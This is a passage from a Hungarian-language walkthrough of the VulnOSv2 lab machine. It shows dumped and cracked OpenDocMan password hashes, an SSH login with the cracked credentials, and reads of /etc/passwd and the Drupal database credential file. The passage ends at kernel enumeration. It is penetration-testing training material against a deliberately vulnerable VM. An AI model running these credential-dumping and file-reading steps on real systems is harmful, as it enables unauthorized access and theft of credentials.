&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:16:23&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; postprocessing table dump                                                                                                            
Database: jabcd0cs
Table: odm_user
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; entries&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
+----+--------------+--------------------+----------+------------------------------------------+-----------+------------+------------+---------------+
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; id &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; phone        &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Email              &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; username &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; password                                 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; last_name &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; first_name &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; department &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; pw_reset_code &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
+----+--------------+--------------------+----------+------------------------------------------+-----------+------------+------------+---------------+
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;5555551212&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; webmin@example.com &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; webmin   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; b78aae356709f8c31118ea613980954b         &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; min       &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; web        &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &amp;lt;blank&amp;gt;       &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;555&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;5555555&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; guest@example.com  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; guest    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; 084e0343a0486ff05530df6c705c8bb4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;guest&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; guest     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; guest      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; NULL          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;999&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;99999999&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; so@sh.com          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; uname    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; 0d9a9c25c0007ea340e22f08bb342961         &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; lname     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; fname      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; NULL          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
+----+--------------+--------------------+----------+------------------------------------------+-----------+------------+------------+---------------+&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;dump&lt;/code&gt; felhasználót simán ki hash-elte az sqlmap, de a többihez segítség kell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/vulnosv2_sqlhash.png&quot; alt=&quot;vulnosv2_sqlhash&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Meg is lett a &lt;code&gt;webmin&lt;/code&gt; felhasználó jelszava: &lt;code&gt;webmin1980&lt;/code&gt;. Mivel a OpenDocMan felületén a &lt;code&gt;guest&lt;/code&gt; is admin jogosultságú, így itt nem reméltem a webmin felhasználótól 
több lehetőséget.&lt;/p&gt;

&lt;p&gt;Viszont megpróbálva a &lt;code&gt;webmin&lt;/code&gt; / &lt;code&gt;webmin1980&lt;/code&gt; felhasználó és jelszó párost az ssh-n keresztül sikerült kapnom egy shell-t.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# ssh webmin@192.168.10.242&lt;/span&gt;
The authenticity of host &lt;span class=&quot;s1&quot;&gt;&amp;#39;192.168.10.242 (192.168.10.242)&amp;#39;&lt;/span&gt; can&lt;span class=&quot;s1&quot;&gt;&amp;#39;t be established.&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;ECDSA key fingerprint is SHA256:nIyyJRPJMy1g6F5m8AIT7W//x6lj3ZqhUbYuvSafKeI.&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Warning: Permanently added &amp;#39;&lt;/span&gt;192.168.10.242&lt;span class=&quot;s1&quot;&gt;&amp;#39; (ECDSA) to the list of known hosts.&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;webmin@192.168.10.242&amp;#39;&lt;/span&gt;s password: 
Welcome to Ubuntu 14.04.4 LTS &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GNU/Linux 3.13.0-24-generic i686&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

 * Documentation:  https://help.ubuntu.com/

  System information as of Sat May &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; 11:34:43 CEST 2016

  System load: 0.15              Memory usage: 2%   Processes:       63
  Usage of /:  5.8% of 29.91GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Wed May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 10:41:07 2016

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;id &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; whoami
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;webmin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;webmin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;webmin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
webmin&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Bent vagyok! :)&lt;/p&gt;

&lt;h2 id=&quot;a-burok-the-shell&quot;&gt;A burok (The shell)&lt;/h2&gt;

&lt;p&gt;Ha shell szintű hozzáférést sikerül szerezni egy rendszeren, akkor már majdnem biztos hogy az a rendszer elesett.&lt;/p&gt;

&lt;p&gt;Megnézem mi van a saját mappánkban.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 596
drwxr-x--- &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; webmin webmin   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 19:26 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root   root     &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:09 ..
-rw------- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; webmin webmin     &lt;span class=&quot;m&quot;&gt;85&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 10:42 .bash_history
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; webmin webmin    &lt;span class=&quot;m&quot;&gt;220&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;9&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .bash_logout
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; webmin webmin   &lt;span class=&quot;m&quot;&gt;3637&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;9&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .bashrc
drwx------ &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; webmin webmin   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt; 17:06 .cache
-rw-rw-r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; webmin webmin &lt;span class=&quot;m&quot;&gt;579442&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt; 15:25 post.tar.gz
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; webmin webmin    &lt;span class=&quot;m&quot;&gt;675&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;9&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .profile&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Érdekes. Egy &lt;code&gt;post.tar.gz&lt;/code&gt; csomag. Vajon mi lehet benne?&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# tar tzfv post.tar.gz&lt;/span&gt;
-rw-r--r-- testosuser/testosuser &lt;span class=&quot;m&quot;&gt;51806&lt;/span&gt; 2014-12-07 15:50 post/hydra-smb.c
-rw-r--r-- testosuser/testosuser  &lt;span class=&quot;m&quot;&gt;1120&lt;/span&gt; 2014-12-07 15:50 post/xhydra.1
-rw-r--r-- testosuser/testosuser &lt;span class=&quot;m&quot;&gt;13423&lt;/span&gt; 2014-12-07 15:50 post/hydra-smtp.c
...
-rw-r--r-- testosuser/testosuser   &lt;span class=&quot;m&quot;&gt;8603&lt;/span&gt; 2014-12-07 15:50 post/hydra-sip.c
-rw-r--r-- testosuser/testosuser &lt;span class=&quot;m&quot;&gt;191330&lt;/span&gt; 2014-12-07 15:50 post/hydra.c
-rw-r--r-- testosuser/testosuser    &lt;span class=&quot;m&quot;&gt;759&lt;/span&gt; 2014-12-07 15:50 post/INSTALL

&lt;span class=&quot;c&quot;&gt;# tar xzf post.tar.gz&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# cat README&lt;/span&gt;

				  H Y D R A

                      &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 2001-2014 by van Hauser / THC
                       &amp;lt;vh@thc.org&amp;gt; http://www.thc.org
       many modules were written by David &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;dot&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Maciejak @ gmail &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;dot&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; com
                 BFG code by Jan Dlabal &amp;lt;dlabaljan@gmail.com&amp;gt;

  		    Licensed under AGPLv3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;see LICENSE file&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

           Please &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; not use in military or secret service organizations,
                          or &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; illegal purposes.
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ez egy &lt;code&gt;Hydra&lt;/code&gt; :) Lehet hogy majd szükség lesz rá? Egyenlőre kutatok tovább…&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat /etc/passwd&lt;/span&gt;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
...
vulnosadmin:x:1000:1000:vulnosadmin,,,:/home/vulnosadmin:/bin/bash
...
postgres:x:107:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ami érdekesnek tűnt, hogy az &lt;code&gt;irc&lt;/code&gt; mellett van még egy &lt;code&gt;vulnosadmin&lt;/code&gt; és egy &lt;code&gt;postgres&lt;/code&gt; felhasználó is.&lt;/p&gt;

&lt;p&gt;Szét nézek az &lt;code&gt;etc&lt;/code&gt; mappában a futó szolgáltatások és a feltelepített alkalmazások konfigurációs fájljai után kutatva.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cd /etc&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 876
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;102&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; 11:34 .
drwxr-xr-x  &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:06 ..
drwxr-xr-x   &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:12 acpi
-rw-r--r--   &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;2981&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; adduser.conf
-rw-r--r--   &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root      &lt;span class=&quot;m&quot;&gt;51&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:10 aliases
...
drwxr-xr-x   &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:10 drupal
...
drwxr-xr-x   &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:05 X11
drwxr-xr-x   &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:12 xml
-rw-r--r--   &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root     &lt;span class=&quot;m&quot;&gt;349&lt;/span&gt; Jun &lt;span class=&quot;m&quot;&gt;26&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2012&lt;/span&gt; zsh_command_not_found&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Meg is van a &lt;code&gt;Drupal&lt;/code&gt; mappája. Szétnézek benne.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cd drupal&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 12
drwxr-xr-x   &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:10 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;102&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; 11:34 ..
drwxr-xr-x   &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:10 7

&lt;span class=&quot;c&quot;&gt;# cd 7&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 24
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:10 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:10 ..
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;158&lt;/span&gt; Jan &lt;span class=&quot;m&quot;&gt;15&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; apache2.conf
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;5767&lt;/span&gt; Oct &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; htaccess
drwxrwxrwx &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:22 sites

&lt;span class=&quot;c&quot;&gt;# cd sites&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 16
drwxrwxrwx &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root     root     &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:22 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root     root     &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:10 ..
dr-xr-xr-x &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; www-data www-data &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:23 all
dr-xr-xr-x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; www-data root     &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:11 default

&lt;span class=&quot;c&quot;&gt;# cd default&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 32
dr-xr-xr-x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; www-data root      &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:11 .
drwxrwxrwx &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root     root      &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:22 ..
-rwxrwxrwx &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root     www-data   &lt;span class=&quot;m&quot;&gt;576&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:11 dbconfig.php
lrwxrwxrwx &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root     root        &lt;span class=&quot;m&quot;&gt;22&lt;/span&gt; Oct &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; files -&amp;gt; /var/lib/drupal7/files
-rwxrwxrwx &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root     root     &lt;span class=&quot;m&quot;&gt;18599&lt;/span&gt; Jan &lt;span class=&quot;m&quot;&gt;15&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; settings.php&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;… a konfigurációs fájlok olvashatóak!&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat dbconfig.php&lt;/span&gt;
&amp;lt;?php
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# database access settings in php format&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# automatically generated from /etc/dbconfig-common/drupal7.conf&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# by /usr/sbin/dbconfig-generate-include&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# by default this file is managed via ucf, so you shouldn&amp;#39;t have to&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# worry about manual changes being silently discarded.  *however*,&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# you&amp;#39;ll probably also want to edit the configuration file mentioned&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# above too.&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$databases&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; array&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
	&lt;span class=&quot;s1&quot;&gt;&amp;#39;driver&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;mysql&amp;#39;&lt;/span&gt;,
	&lt;span class=&quot;s1&quot;&gt;&amp;#39;database&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;drupal7&amp;#39;&lt;/span&gt;,
	&lt;span class=&quot;s1&quot;&gt;&amp;#39;username&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;drupal7&amp;#39;&lt;/span&gt;,
	&lt;span class=&quot;s1&quot;&gt;&amp;#39;password&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;toor&amp;#39;&lt;/span&gt;,
	&lt;span class=&quot;s1&quot;&gt;&amp;#39;host&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;,
	&lt;span class=&quot;s1&quot;&gt;&amp;#39;port&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;,
	&lt;span class=&quot;s1&quot;&gt;&amp;#39;prefix&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Itt is van a &lt;code&gt;Drupal&lt;/code&gt; mysql adatbázis neve (&lt;code&gt;drupal7&lt;/code&gt;), felhasználója (&lt;code&gt;drupal7&lt;/code&gt;) és mysql jelszava (&lt;code&gt;toor&lt;/code&gt;).
Persze azért le is ellenőrzöm.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# mysql -u drupal7 -p drupal7&lt;/span&gt;
Enter password:  toor
Reading table information &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; or &lt;span class=&quot;se&quot;&gt;\g&lt;/span&gt;.
Your MySQL connection id is 1082
Server version: 5.5.47-0ubuntu0.14.04.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type &lt;span class=&quot;s1&quot;&gt;&amp;#39;help;&amp;#39;&lt;/span&gt; or &lt;span class=&quot;s1&quot;&gt;&amp;#39;\h&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; help. Type &lt;span class=&quot;s1&quot;&gt;&amp;#39;\c&amp;#39;&lt;/span&gt; to clear the current input statement.

mysql&amp;gt; quit&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
Bye&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Szép! :)&lt;/p&gt;

&lt;p&gt;De ne feledkezzek meg magáról a rendszerről sem.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat /etc/issue&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;### Welcome to VulnOSv2 ###&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# cat /etc/lsb-release&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;DISTRIB_ID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Ubuntu
&lt;span class=&quot;nv&quot;&gt;DISTRIB_RELEASE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;14.04
&lt;span class=&quot;nv&quot;&gt;DISTRIB_CODENAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;trusty
&lt;span class=&quot;nv&quot;&gt;DISTRIB_DESCRIPTION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Ubuntu 14.04.4 LTS&amp;quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# uname -a&lt;/span&gt;
Linux VulnOSv2 3.13.0-24-generic &lt;span class=&quot;c&quot;&gt;#47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

